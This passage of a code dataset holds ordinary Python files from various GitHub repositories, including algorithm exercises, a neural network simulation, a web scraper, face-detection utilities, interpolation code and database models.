    \"\n\n@app.route('/get-data', methods=['GET'])\ndef get_data():\n r = requests.get(\n _pod + \"/my-files/20200206.ttl\",\n auth=BearerAuth(_auth_token)\n )\n return r.text\n\n@app.route('/get-data-validate', methods=['GET'])\ndef get_data_validate():\n rdf = get_data()\n\n p = MyPrefixLibrary()\n p.add_rdf(rdf)\n p.add_shex(_shex)\n\n results = ShExEvaluator(rdf=rdf,\n schema=_shex,\n focus=[p.get_namespace('').data],\n start=p.EX.HKData).evaluate()\n\n if (all(res.result for res in results)):\n print(\"Validation passed!\")\n return rdf\n else:\n print(\"Something went wrong!\")\n return \"

    VALIDATION ERROR

    \"\n\napp.run()\n","repo_name":"pmbrull/pod-api-validator","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71453049362","text":"def BFS(G, v):\n visited = [0 for _ in range(7)]\n queue = [v]\n while queue:\n t = queue.pop(0)\n if not visited[t]:\n print(t+1, end= ' ')\n visited[t] = True \n for i in range(len(G[t])):\n if G[t][i] and not visited[i]:\n queue.append(i)\n\na = [1,2,1,3,2,4,2,5,4,6,5,6,6,7,3,7]\n\ncase =[[0 for _ in range(7)] for _ in range(7)]\nfor i in range(0,len(a),2):\n case[a[i]-1][a[i+1]-1]= 1\n case[a[i+1]-1][a[i]-1]= 1\nBFS(case,0)","repo_name":"dowookims/ProblemSolving","sub_path":"swea/queue/practice5_bfs.py","file_name":"practice5_bfs.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7495432786","text":"from typing import Optional\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def maxDepth(self, root: Optional[TreeNode]) -> int:\n stack = [[root, 1]]\n maxDepth = 0\n\n while stack:\n curr, depth = stack.pop()\n\n if curr:\n maxDepth = max(depth, maxDepth)\n stack.append([curr.left, depth + 1])\n stack.append([curr.right, depth + 1])\n\n return maxDepth\n\n\"\"\"\nExplanation:\n\nInitialize a stack with the root node and its depth set to 1. Set maxDepth to 0, which stores the maximum depth encountered. While the stack is not empty, pop a node from the stack. If the node is not null, update maxDepth with the max value between the current depth and maxDepth. Push the left and right children of the node onto the stack with their depths incremented by 1. Once done, return maxDepth as the maximum depth of the binary tree.\n\nNotes:\n\nTime complexity: O(n), where n is the number of nodes in the binary tree, because we need to visit each node exactly once.\n\nSpace complexity: O(h), where h is the max height of the binary tree. In the worst case, where the binary tree is skewed and has a height of n (all nodes form a single branch), the stack can hold up to n elements.\n\"\"\"\n\n# Test 1: Empty binary tree\nroot = None\nmax_depth = Solution().maxDepth(root)\nexpected = 0\nassert max_depth == expected, f\"Expected {expected} but got {max_depth}\"\n\n# Test 2: Single-node binary tree\nroot = TreeNode(1)\nmax_depth = Solution().maxDepth(root)\nexpected = 1\nassert max_depth == expected, f\"Expected {expected} but got {max_depth}\"\n\n# Test 3: Balanced binary tree\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.right = TreeNode(3)\nmax_depth = Solution().maxDepth(root)\nexpected = 2\nassert max_depth == expected, f\"Expected {expected} but got {max_depth}\"\n\n# Test 4: Binary tree with balanced and skewed structure\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.right = TreeNode(3)\nroot.left.left = TreeNode(4)\nroot.right.right = TreeNode(5)\nmax_depth = Solution().maxDepth(root)\nexpected = 3\nassert max_depth == expected, f\"Expected {expected} but got {max_depth}\"\n\n# Test 5: Skewed binary tree\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.left.left = TreeNode(3)\nroot.left.left.left = TreeNode(4)\nroot.left.left.left.left = TreeNode(5)\nmax_depth = Solution().maxDepth(root)\nexpected = 5\nassert max_depth == expected, f\"Expected {expected} but got {max_depth}\"","repo_name":"garofalof/algopractice_python","sub_path":"easy/104_Maximum_Depth_of_Binary_Tree.py","file_name":"104_Maximum_Depth_of_Binary_Tree.py","file_ext":"py","file_size_in_byte":2550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23155515350","text":"import nest\nimport numpy as np\nimport os\nimport simulation_parameters_MN as sp\nimport pylab as pl\nimport nest.raster_plot\nPS = sp.global_parameters()\nparams = PS.params\n\nnest.ResetKernel()\n\n# CREATE MINICOLUMNS WITHIN HYPERCOLUMNS\nhcs = [ [] for i in xrange(params['n_hc'])]\nmcs = [ None for i in xrange(params['n_mc'])]\nfor i_hc in xrange(params['n_hc']):\n\tfor i_mc in xrange(params['n_mc_per_hc']):\n\t mcs[params['n_mc_per_hc']*i_hc+i_mc] = nest.Create(params['neuron_type'], params['n_exc_per_mc'])\n\t hcs[i_hc].append(mcs[params['n_mc_per_hc']*i_hc+i_mc])\n\n\n# CREATE INHIBITORY NEURONS FOR CROSS INHIBITION\ninh_pops = [ None for i in xrange(params['n_hc'])]\nfor i_hc in xrange(params['n_hc']):\n inh_pops[i_hc] = nest.Create(params['neuron_type'], params['n_inh_per_hc'])\n\n\"\"\" AUXILARY STUFF \"\"\"\n# CREATING SPIKE DETECTOR\nspikerec = nest.Create('spike_detector', params['n_mc'])\n# CREATING POISSON GENERATOR FOR INPUT\npoiss = nest.Create('poisson_generator', params['n_mc'],{'rate': 4000.})\n\"\"\" \"\"\"\n\n# CONNECT CELLS WITHIN MINICOLUMNS + \nn_tgt = int(np.round(params['p_ee_local'] * params['n_exc_per_mc']))\nfor i_mc in xrange(params['n_mc']):\n\tnest.RandomConvergentConnect(mcs[i_mc], mcs[i_mc], n_tgt, \\\n\t\t\tweight=params['w_ee_local'], delay=params['delay_ee_local'], \\\n\t\t\toptions={'allow_autapses': False, 'allow_multapses': False})\n\t\t\t\n\t\t\t\nfor i_hc in xrange(params['n_hc']):\t\n\tfor i_mc in xrange(params['n_mc_per_hc']):\n\t\t# CONNECT INHIBITORY POPULATION WITH MINICOLUMS\t\t\n\t\tnest.RandomConvergentConnect(hcs[i_hc][i_mc], inh_pops[i_hc], n_tgt, \\\n\t\t\t\tweight=params['w_ee_local'], delay=params['delay_ee_local'], \\\n\t\t\t\toptions={'allow_autapses': False, 'allow_multapses': False})\n\t\tnest.RandomConvergentConnect(inh_pops[i_hc],hcs[i_hc][i_mc], 10, weight=-5., delay=params['delay_ee_local'], options={'allow_autapses': False, 'allow_multapses': False}) #10 to trito orisma\n\t\t# FINALLY CONNECT MINICOLUMN NEURONS WITH SPIKE RECORDER\n\t\tnest.ConvergentConnect(mcs[params['n_mc_per_hc']*i_hc+i_mc], [spikerec[params['n_mc_per_hc']*i_hc+i_mc]])\n\n# CONNECT HYPERCOLUMNS TOGETHER \nnest.RandomConvergentConnect(hcs[0][0], hcs[1][0], n_tgt, \\\n\t\t\t\t\tweight=params['w_ee_local'], delay=params['delay_ee_local'], \\\n\t\t\t\t\toptions={'allow_autapses': False, 'allow_multapses': False})\nnest.RandomConvergentConnect(hcs[0][0], hcs[1][1], n_tgt, \\\n\t\t\t\t\tweight=params['w_ee_local'], delay=params['delay_ee_local'], \\\n\t\t\t\t\toptions={'allow_autapses': False, 'allow_multapses': False})\nnest.RandomConvergentConnect(hcs[0][1], hcs[1][0], n_tgt, \\\n\t\t\t\t\tweight=params['w_ee_local'], delay=params['delay_ee_local'], \\\n\t\t\t\t\toptions={'allow_autapses': False, 'allow_multapses': False})\nnest.RandomConvergentConnect(hcs[0][1], hcs[1][1], n_tgt, \\\n\t\t\t\t\tweight=params['w_ee_local'], delay=params['delay_ee_local'], \\\n\t\t\t\t\toptions={'allow_autapses': False, 'allow_multapses': False})\n\t\t\t\t\t\t\t\t\t\t\n# CONNECT INPUT TO FIRST HYPERCOLUMN's first minicolumn\nnest.DivergentConnect([poiss[0]], hcs[0][0], params['w_ee_local'],params['delay_ee_global'])\nnest.DivergentConnect([poiss[0]], hcs[0][1], params['w_ee_local'],params['delay_ee_global'])\n\n# check the connectivity\nconnections = nest.GetConnections()\nconn_list = np.zeros((len(connections), 3)) # 3 columns for src, tgt, weight\n\"\"\"\nprint 'example connections:'\nfor i in connections:\n\tprint i\nprint 'information from nest.GetStatus', nest.GetStatus([connections[0]])\n\"\"\"\n\nfor i_ in xrange(len(connections)):\n info = nest.GetStatus([connections[i_]])\n weight = info[0]['weight']\n conn_list[i_, 0] = connections[i_][0]\n conn_list[i_, 1] = connections[i_][1]\n conn_list[i_, 2] = weight\n\n\nnp.savetxt('debug_connectivity.txt', conn_list)\n\nnest.Simulate(500.0)\n\ndata = nest.GetStatus(spikerec)\n\nkolor=['k','b','y','g','c','m']\nfor i in xrange(len(spikerec)):\n\ta,b = data[i]['events']['times'],data[i]['events']['senders']\n\tpl.subplot(211)\n\tpl.scatter(a,b,marker='.',color=kolor[i])\n#nest.raster_plot.from_device(spikerec, hist=True)\n#nest.raster_plot.show()\n\n\npl.ylabel('Neuron ID')\npl.title('\\\"Minicolumn Neurons Spiking\\\"')\n\n\npl.subplot(223)\npl.ylabel('Rate(Hz)')\npl.xlabel('Time')\npl.hist(a,20)\n\npl.show()\n\n\n","repo_name":"kalfasyan/pynest-indieproject","sub_path":"06_twoHypercolumns.py","file_name":"06_twoHypercolumns.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"19825922125","text":"# -*- coding: utf-8 -*-\n\n# Resource object code\n#\n# Created by: The Resource Compiler for PyQt5 (Qt v5.15.2)\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore\n\nqt_resource_data = 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b\"\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x01\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x2e\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x12\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x5a\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x0e\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0f\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x68\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0e\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x76\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0d\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x4a\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0c\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x3a\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0b\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x1c\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x0a\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x01\\xb4\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x78\\x69\\\n\\x00\\x00\\x01\\x82\\x18\\xb4\\xb0\\xa5\\\n\\x00\\x00\\x01\\x46\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\xa2\\xbb\\\n\\x00\\x00\\x01\\x82\\xf5\\xc6\\x71\\x60\\\n\\x00\\x00\\x01\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x78\\x1e\\\n\\x00\\x00\\x01\\x82\\x22\\x2d\\x29\\x37\\\n\\x00\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x01\\x82\\x18\\xb6\\xee\\xd7\\\n\\x00\\x00\\x00\\xae\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xd9\\\n\\x00\\x00\\x01\\x82\\x18\\xac\\xfc\\x38\\\n\\x00\\x00\\x01\\xec\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x8a\\xa3\\\n\\x00\\x00\\x01\\x81\\xfe\\xb6\\x86\\xac\\\n\\x00\\x00\\x00\\xe4\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x09\\x2e\\\n\\x00\\x00\\x01\\x82\\x22\\x16\\x2e\\x66\\\n\\x00\\x00\\x02\\x0a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x90\\xba\\\n\\x00\\x00\\x01\\x81\\xf3\\xf1\\xf0\\xa1\\\n\\x00\\x00\\x01\\x7c\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x75\\x68\\\n\\x00\\x00\\x01\\x81\\xf3\\xf0\\xe0\\x4c\\\n\"\n\nqt_version = [int(v) for v in QtCore.qVersion().split('.')]\nif qt_version < [5, 8, 0]:\n rcc_version = 1\n qt_resource_struct = qt_resource_struct_v1\nelse:\n rcc_version = 2\n qt_resource_struct = qt_resource_struct_v2\n\ndef qInitResources():\n QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\ndef qCleanupResources():\n QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)\n\nqInitResources()\n","repo_name":"MarcosViniciusA369/Software-Gestor-Escolar","sub_path":"link_rc.py","file_name":"link_rc.py","file_ext":"py","file_size_in_byte":432013,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27034118587","text":"from emoji import emojize\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport time\nfrom time import sleep\nimport os\nfrom requests.exceptions import ReadTimeout\nfrom requests.exceptions import ConnectionError\nimport json\n\n\ndef requests_get(*args1, **args2):\n i = 3\n while i >= 0:\n try:\n return requests.get(*args1, **args2)\n except (ConnectionError, ReadTimeout) as error:\n print(error)\n print('retry one more time after 60s', i, 'times left')\n sleep(60)\n i -= 1\n return pd.DataFrame()\n\n\ndef requests_post(*args1, **args2):\n i = 3\n while i >= 0:\n try:\n return requests.post(*args1, **args2)\n except (ConnectionError, ReadTimeout) as error:\n print(error)\n print('retry one more time after 60s', i, 'times left')\n sleep(60)\n i -= 1\n return pd.DataFrame()\n\n\ndef latest_number(*argu1, **argu2):\n url = \"https://www.taiwanlottery.com.tw/lotto/BINGOBINGO/drawing.aspx\"\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\n\n try:\n res = requests_get(url, headers=headers)\n soup = BeautifulSoup(res.text, 'html.parser')\n except:\n print('**WARRN: requests cannot get html')\n ID = soup.find('span', attrs={'id': 'lblBBDrawTerm'})\n table_rows = soup.select('td', attrs={'class': 'tdA_3'})\n ID = int(ID.text)\n\n result = []\n i = 0\n for div in table_rows:\n td = div.find_all('div')\n row = [div.text.strip() for div in td if div.text.strip()]\n if row and i >= 1:\n result.append(row)\n i += 1\n df = pd.DataFrame(result, index=None)\n # df = df.drop(df.columns[0], axis=1)\n df = df.drop([1, 2, 3])\n df = df.drop([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,\n 13, 14, 15, 16, 17, 18, 19, 20], axis=1)\n\n df.insert(0, '期別', value=ID)\n df1 = df['期別']\n df1 = df1.to_json(orient='values').strip('[]')\n df = df.drop(columns=['期別'])\n\n df = df.to_json(orient='values').strip('[]').strip(',\"')\n point_right = emojize(\":point_right:\", use_aliases=True) \n content1 = point_right+\" 期別: \" + df1\n content2 = point_right+\" 開獎號碼: \"+df\n content3 = \"\"\n content3 += '{}\\n\\n{}'.format(content1, content2)\n return content3\n\n\n","repo_name":"arthur8485/latestbot","sub_path":"latest_number.py","file_name":"latest_number.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6727677280","text":"import sqlite3\n\nfrom contextlib import contextmanager\n\n\nclass DB:\n def __init__(self, filename):\n self.filename = filename\n\n @contextmanager\n def cursor(self):\n conn = sqlite3.connect(self.filename)\n cur = conn.cursor()\n try:\n yield cur\n conn.commit()\n finally:\n cur.close()\n conn.close()\n","repo_name":"MrKich/simple_weather_bot","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11047378816","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 21 10:31:51 2018\r\n\r\n@author: yy\r\n\"\"\"\r\nimport h5py\r\nimport cv2\r\nimport numpy as np\r\nimport glob\r\n\r\ndef resize(im, target_size):\r\n h, w, ch = im.shape\r\n if h != target_size or w != target_size:\r\n im = cv2.resize(im, (target_size, target_size))\r\n return im\r\n\r\n\r\ndef flip(face, landmark):\r\n face_flipped_by_x = cv2.flip(face, 1)\r\n landmark_ = np.asarray([(1 - x, y) for (x, y) in landmark])\r\n landmark_[[0, 1]] = landmark_[[1, 0]]\r\n landmark_[[3, 4]] = landmark_[[4, 3]]\r\n return face_flipped_by_x, landmark_\r\n\r\n\r\ndef rotate(img, bbox, landmark, alpha):\r\n\r\n x1, y1, x2, y2 = bbox\r\n center = ((x1 + x2) / 2, (y1 + y2) / 2)\r\n\r\n rot_mat = cv2.getRotationMatrix2D(center, alpha, 1)\r\n\r\n img_rotated_by_alpha = cv2.warpAffine(img, rot_mat, (img.shape[1], img.shape[0]))\r\n\r\n landmark_ = np.asarray([(rot_mat[0][0] * x + rot_mat[0][1] * y + rot_mat[0][2],\r\n rot_mat[1][0] * x + rot_mat[1][1] * y + rot_mat[1][2]) for (x, y) in landmark])\r\n face = img_rotated_by_alpha[y1:y2 + 1, x1:x2 + 1]\r\n return face, landmark_\r\n\r\n\r\ndef bbox_2_square(bbox):\r\n\r\n print('bbox_2_square---:',bbox.shape)\r\n square_bbox = bbox.copy()\r\n\r\n h = bbox[:, 3] - bbox[:, 1] + 1\r\n w = bbox[:, 2] - bbox[:, 0] + 1\r\n max_side = np.maximum(h, w)\r\n square_bbox[:, 0] = bbox[:, 0] + w * 0.5 - max_side * 0.5\r\n square_bbox[:, 1] = bbox[:, 1] + h * 0.5 - max_side * 0.5\r\n square_bbox[:, 2] = square_bbox[:, 0] + max_side - 1\r\n square_bbox[:, 3] = square_bbox[:, 1] + max_side - 1\r\n return square_bbox\r\n\r\n\r\n\r\ndef convert_bbox(box, kind=True):\r\n \"\"\"\r\n (x1, y1, x2, y2) --> (x1, y1, w, h) (kind=True)\r\n or\r\n (x1, y1, w, h) --> (x1, y1, x2, y2) (kind=False)\r\n \"\"\"\r\n a, b, c, d = box\r\n if kind:\r\n return (a, b, c - a + 1, d - b + 1)\r\n else:\r\n return (a, b, a + c - 1, b + d - 1)\r\n\r\n#h5文件不能存放字典、NONE，可以用pkl\r\ndef save_dict_to_hdf5(dic, filename):\r\n with h5py.File(filename, 'w') as h5file:\r\n recursively_save_dict_contents_to_group(h5file, '/', dic)\r\n\r\n\r\ndef recursively_save_dict_contents_to_group(h5file, path, dic):\r\n for key, item in dic.items():\r\n if isinstance(item, (np.ndarray, np.int64, np.float64, str, bytes, list, tuple)):\r\n h5file[path + key] = item\r\n elif isinstance(item, dict):\r\n recursively_save_dict_contents_to_group(h5file, path + key + '/', item)\r\n else:\r\n raise ValueError('Cannot save %s type' % type(item))\r\n\r\n\r\ndef load_dict_from_hdf5(filename):\r\n with h5py.File(filename, 'r') as h5file:\r\n return recursively_load_dict_contents_from_group(h5file, '/')\r\n\r\n\r\ndef recursively_load_dict_contents_from_group(h5file, path):\r\n ans = {}\r\n for key, item in h5file[path].items():\r\n if isinstance(item, h5py.Dataset):\r\n ans[key] = item.value\r\n elif isinstance(item, h5py.Group):\r\n ans[key] = recursively_load_dict_contents_from_group(h5file, path + key + '/')\r\n return ans\r\n\r\n\r\ndef load_weights(weights_dir):\r\n weights_files = glob.glob('{}/*.h5'.format(weights_dir))\r\n p_net_weight = None\r\n r_net_weight = None\r\n o_net_weight = None\r\n for wf in weights_files:\r\n if 'p_net' in wf:\r\n p_net_weight = wf\r\n elif 'r_net' in wf:\r\n r_net_weight = wf\r\n elif 'o_net' in wf:\r\n o_net_weight = wf\r\n else:\r\n raise ValueError('No valid weights files !')\r\n\r\n if p_net_weight is None and r_net_weight is None and o_net_weight is None:\r\n raise ValueError('No valid weights files !')\r\n\r\n return p_net_weight, r_net_weight, o_net_weight\r\n\r\n\r\ndef process_image(img, scale):\r\n height, width, channels = img.shape\r\n new_height = int(height * scale) # resized new height\r\n new_width = int(width * scale) # resized new width\r\n new_dim = (new_width, new_height)\r\n img_resized = cv2.resize(img, new_dim, interpolation=cv2.INTER_LINEAR) # resized image\r\n img_resized = (img_resized - 127.5) / 128\r\n return img_resized\r\n\r\n\r\ndef batch_gen_bbox(cls_map, reg, scale, threshold, stride=2, cell_size=12):\r\n bboxes = []\r\n for cls, bbox in zip(cls_map, reg):\r\n b = generate_bbox(cls, bbox, scale, threshold, stride, cell_size)\r\n bboxes.append(b)\r\n return bboxes\r\n\r\n\r\ndef generate_bbox(cls_map, reg, scale, threshold, stride=2, cell_size=12):\r\n\r\n t_index = np.where(cls_map > threshold)\r\n\r\n # find nothing\r\n if t_index[0].size == 0:\r\n return np.array([])\r\n\r\n # offset\r\n dx1, dy1, dx2, dy2 = [reg[t_index[0], t_index[1], i] for i in range(4)]\r\n\r\n reg = np.array([dx1, dy1, dx2, dy2])\r\n score = cls_map[t_index[0], t_index[1]]\r\n bbox = np.vstack([np.round((stride * t_index[1]) / scale),\r\n np.round((stride * t_index[0]) / scale),\r\n np.round((stride * t_index[1] + cell_size) / scale),\r\n np.round((stride * t_index[0] + cell_size) / scale),\r\n score,\r\n reg])\r\n\r\n return bbox.T\r\n\r\ndef py_nms(bboxes, thresh, mode=\"union\"):\r\n assert mode in ['union', 'minimum']\r\n\r\n x1 = bboxes[:, 0]\r\n y1 = bboxes[:, 1]\r\n x2 = bboxes[:, 2]\r\n y2 = bboxes[:, 3]\r\n scores = bboxes[:, 4]\r\n\r\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\r\n order = scores.argsort()[::-1]\r\n\r\n keep = []\r\n while order.size > 0:\r\n i = order[0]\r\n keep.append(i)\r\n xx1 = np.maximum(x1[i], x1[order[1:]])\r\n yy1 = np.maximum(y1[i], y1[order[1:]])\r\n xx2 = np.minimum(x2[i], x2[order[1:]])\r\n yy2 = np.minimum(y2[i], y2[order[1:]])\r\n\r\n w = np.maximum(0.0, xx2 - xx1 + 1)\r\n h = np.maximum(0.0, yy2 - yy1 + 1)\r\n inter = w * h\r\n if mode == \"union\":\r\n ovr = inter / (areas[i] + areas[order[1:]] - inter)\r\n else:\r\n ovr = inter / np.minimum(areas[i], areas[order[1:]])\r\n # keep\r\n inds = np.where(ovr <= thresh)[0]\r\n order = order[inds + 1]\r\n\r\n return keep\r\n\r\ndef iou(box, boxes):\r\n# print('iou----------:',boxes.shape)\r\n box_area = (box[2] - box[0] + 1) * (box[3] - box[1] + 1)\r\n area = (boxes[:, 2] - boxes[:, 0] + 1) * (boxes[:, 3] - boxes[:, 1] + 1)\r\n xx1 = np.maximum(box[0], boxes[:, 0])\r\n yy1 = np.maximum(box[1], boxes[:, 1])\r\n xx2 = np.minimum(box[2], boxes[:, 2])\r\n yy2 = np.minimum(box[3], boxes[:, 3])\r\n\r\n # compute the width and height of the bounding box\r\n w = np.maximum(0, xx2 - xx1 + 1)\r\n h = np.maximum(0, yy2 - yy1 + 1)\r\n\r\n inter = w * h\r\n ovr = inter / (box_area + area - inter)\r\n return ovr\r\n\r\n\r\n","repo_name":"YIYIMZ/yiyi_mtcnn_keras","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6710,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"3"} +{"seq_id":"13082223849","text":"#!/usr/bin/env python\n\nmongodb_config = {\n 'host': 'localhost',\n 'port': 27017,\n 'db': 'micromort',\n 'straitstimes_headlines_collection': 'straitstimes_headlines',\n 'straitstimes_article_collection': 'straitstimes_article',\n 'collection': 'articles',\n 'asiaone_headlines_collection': 'asiaone_headlines',\n 'asiaone_article_collection': 'asiaone_article',\n 'straitstimes_labeling_collection': 'straitstimes_labeling',\n 'channelnewsasia_labeling_collection': 'channelnewsasia_labeling',\n 'businesstimes_labeling_collection': 'businesstimes_labeling',\n 'asiaone_labeling_collection': 'asiaone_labeling',\n 'dbs': {\n 'forums' :{\n \"sgtalk\":\"sgtalk\",\n \"hardwarezone\":'hardwarezone'\n },\n \"rss\" : {\n \"db\" : \"micromort\",\n \"collection\" : \"rss\"\n },\n \"news_websites\" : {\n 'db' : \"micromort\",\n \"collection\" : \"categorized_news\"\n },\n \"news_tweets\" : {\n \"db\" : \"micromort\",\n \"collection\" : \"news_tweets\"\n }\n },\n 'onespace_host': '172.29.33.45'\n }\n","repo_name":"mannuscript/micromort","sub_path":"micromort/resources/configs/mongodbconfig.py","file_name":"mongodbconfig.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6827769493","text":"\n# coding: utf-8\n\n# # Polynomial Interpolation\n# \n# Polynormial interpolation tries to find a (n-1) degree polynormial passes through n points\n# \n# Polynormial interpolation is a globel method, paying **less attention** to the local properties. If there are many data pointsr ranging widely, polynormial may **not** be a good choice. \n# \n# Example: property of a material under different temperatures\n\n# ## Lagrange’s Method\n\n\n# import modules needed\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass LagrangeInt():\n def __init__(self, xData, yData): # initialize all the parameter\n self.xData = xData\n self.yData = yData\n self.length = len(xData)\n \n def l(self, x, i, xData):\n \"\"\"\n return the value of cardinal functions\n x is the point where the base function is evaluated,\n i is the order and xData is obvious\n \"\"\"\n t1, t2 = 1, 1\n for j in range(self.length):\n if j != i:\n t1 *= x - self.xData[j]\n t2 *= self.xData[i] - self.xData[j]\n return t1 / t2\n \n def inter(self, x):\n \"\"\"return the interpolated resualt on interval x\n \"\"\"\n s = 0\n for i in range(self.length):\n s += self.l(x, i, self.xData) * self.yData[i]\n return s\n\n\n# put it to test\n# votage and current\nx = np.array([-1, 0, 0.27, 2.55, 3.82, 4.92, 5.02])\ny = np.array([-14.58, 0, 0, 0, 0, 0.88, 11.17])\n\np = LagrangeInt(x, y)\nx1 = np.linspace(-1, 5.02)\ny1 = p.inter(x1)\nplt.scatter(x, y, color='red')\nplt.plot(x1, y1)\nplt.xlabel('Votage')\nplt.ylabel('Current')\nplt.title('Relationship between Votage and Current')\nplt.grid()\nplt.legend(['Experimental', 'Interpolated'], loc='best')\nplt.show()\n\n\n# Ei(x)\nx = np.array([0.1, 0.2, 0.3, 0.4, 0.5])\ny = np.array([-1.6228, -0.8218, -0.3027, 0.1048, 0.4542])\n\np = LagrangeInt(x, y)\nx1 = np.linspace(0.1, 0.5)\ny1 = p.inter(x1)\nplt.scatter(x, y, color='red')\nplt.plot(x1, y1)\nplt.xlabel('$x$')\nplt.ylabel('$y$')\nplt.title('The value of $Ei(x)$')\nplt.grid()\nplt.legend(['Discrete', 'Interpolated'], loc='best')\nplt.show()\n","repo_name":"Jokiva/Computational-Physics","sub_path":"old/Interpolation/Lagrange’s Method.py","file_name":"Lagrange’s Method.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"42303806747","text":"from sqlalchemy import Column, Table, String, Integer,\\\n Float, Boolean, TIMESTAMP, Text, ForeignKey\nfrom sqlalchemy.orm import relationship, backref\n\nfrom nodetraq.model.meta import Base, now\n\nflag_lookup = Table (\n 'flag_lookups', Base.metadata,\n Column('node_flag_info_id', Integer, ForeignKey('node_flag_info.id')),\n Column('flag_id', Integer, ForeignKey('flags.id')),\n )\n\nnode_flags_lookup = Table (\n 'flagged_node_lookups', Base.metadata,\n Column('node_id', Integer, ForeignKey('nodes.id')),\n Column('node_flag_info_id', Integer, ForeignKey('node_flag_info.id')),\n Column('user_id', Integer, ForeignKey('users.id'))\n )\n\nclass NodeFlagInfo(Base):\n __tablename__ = 'node_flag_info'\n\n id = Column(Integer, primary_key=True)\n user = relationship('User', secondary=node_flags_lookup, uselist=False)\n description = Column(String(255))\n flags = relationship('Flag', secondary=flag_lookup)\n\nclass Flag(Base):\n __tablename__ = 'flags'\n\n id = Column(Integer, primary_key=True)\n name = Column(String(255))\n description = Column(String(255))\n\n\n","repo_name":"seryl/Nodetraq","sub_path":"nodetraq/model/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"34088953016","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\nimport xlrd\n\n# 